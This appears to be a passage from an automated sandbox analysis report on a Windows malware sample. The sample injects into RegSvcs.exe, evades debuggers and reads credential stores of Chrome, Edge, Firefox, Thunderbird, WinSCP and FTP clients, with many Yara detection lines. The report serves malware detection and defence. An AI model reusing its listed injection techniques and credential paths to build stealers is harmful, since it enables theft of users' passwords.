                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 100000Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 99891Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 99766Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 99656Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 99547Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 99437Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 99328Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 99219Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 99109Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 99000Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 98890Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 98781Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 98668Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 98543Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 98430Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 98299Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 98172Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 98062Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 97953Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 97844Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 97734Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 97625Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 97515Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 97406Jump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeThread delayed: delay time: 922337203685477Jump to behavior
                    Source: RegSvcs.exe, 00000002.00000002.3362683470.0000000005014000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeAPI call chain: ExitProcess graph end nodegraph_0-84786
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeAPI call chain: ExitProcess graph end node
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0045A259 BlockInput,0_2_0045A259
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,2_2_004019F0
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_03EF3518 mov eax, dword ptr fs:[00000030h]0_2_03EF3518
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_03EF34B8 mov eax, dword ptr fs:[00000030h]0_2_03EF34B8
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_03EF1EB8 mov eax, dword ptr fs:[00000030h]0_2_03EF1EB8
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,0_2_00426DA1
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0042202E SetUnhandledExceptionFilter,0_2_0042202E
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_004230F5
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00417D93
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00421FA7
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,2_2_0040CE09
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,2_2_0040E61C
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_00416F6A
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_004123F1 SetUnhandledExceptionFilter,2_2_004123F1
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeMemory allocated: page read and write | page guardJump to behavior

                    HIPS / PFW / Operating System Protection Evasion

                    barindex
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeSection loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and writeJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 6C0008Jump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0043916A LogonUserW,0_2_0043916A
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,0_2_00436431
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\w6dnPra4mx.exe"Jump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00445DD3
                    Source: w6dnPra4mx.exeBinary or memory string: Shell_TrayWnd
                    Source: w6dnPra4mx.exeBinary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00410D10 cpuid 0_2_00410D10
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: GetLocaleInfoA,2_2_00417A20
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_004223BC
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004711D2 GetUserNameW,0_2_004711D2
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,0_2_0042039F
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                    Stealing of Sensitive Information

                    barindex
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0ee8.6.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262fdc6.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.50a0000.8.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262eede.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3856458.5.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.38a2d90.3.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0ee8.6.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262fdc6.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0000.7.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3855570.4.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3856458.5.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0000.7.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.38a2d90.3.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3855570.4.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262eede.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000002.00000002.3360881301.000000000289F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3360881301.00000000028A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3360881301.0000000002851000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3360711137.00000000025EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: RegSvcs.exe PID: 4900, type: MEMORYSTR
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0ee8.6.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262fdc6.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.50a0000.8.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262eede.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3856458.5.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.38a2d90.3.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0ee8.6.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262fdc6.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0000.7.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3855570.4.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3856458.5.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0000.7.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.38a2d90.3.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3855570.4.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262eede.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3360711137.00000000025EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\SessionsJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.iniJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.iniJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\FTP Navigator\Ftplist.txtJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\ProfilesJump to behavior
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
                    Source: w6dnPra4mx.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
                    Source: w6dnPra4mx.exeBinary or memory string: WIN_XP
                    Source: w6dnPra4mx.exeBinary or memory string: WIN_XPe
                    Source: w6dnPra4mx.exeBinary or memory string: WIN_VISTA
                    Source: w6dnPra4mx.exeBinary or memory string: WIN_7
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0ee8.6.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262fdc6.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.50a0000.8.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262eede.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3856458.5.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.38a2d90.3.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0ee8.6.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262fdc6.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0000.7.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3855570.4.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3856458.5.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0000.7.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.38a2d90.3.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3855570.4.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262eede.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3360881301.0000000002851000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3360711137.00000000025EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: RegSvcs.exe PID: 4900, type: MEMORYSTR

                    Remote Access Functionality

                    barindex
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0ee8.6.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262fdc6.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.50a0000.8.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262eede.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3856458.5.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.38a2d90.3.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0ee8.6.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262fdc6.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0000.7.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3855570.4.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3856458.5.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0000.7.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.38a2d90.3.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3855570.4.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262eede.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000002.00000002.3360881301.000000000289F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3360881301.00000000028A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3360881301.0000000002851000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3360711137.00000000025EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: RegSvcs.exe PID: 4900, type: MEMORYSTR
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0ee8.6.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262fdc6.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.50a0000.8.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262eede.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3856458.5.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.38a2d90.3.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0ee8.6.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262fdc6.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0000.7.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3855570.4.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3856458.5.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.4db0000.7.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.38a2d90.3.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.3855570.4.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 2.2.RegSvcs.exe.262eede.1.raw.unpack, type: UNPACKEDPE
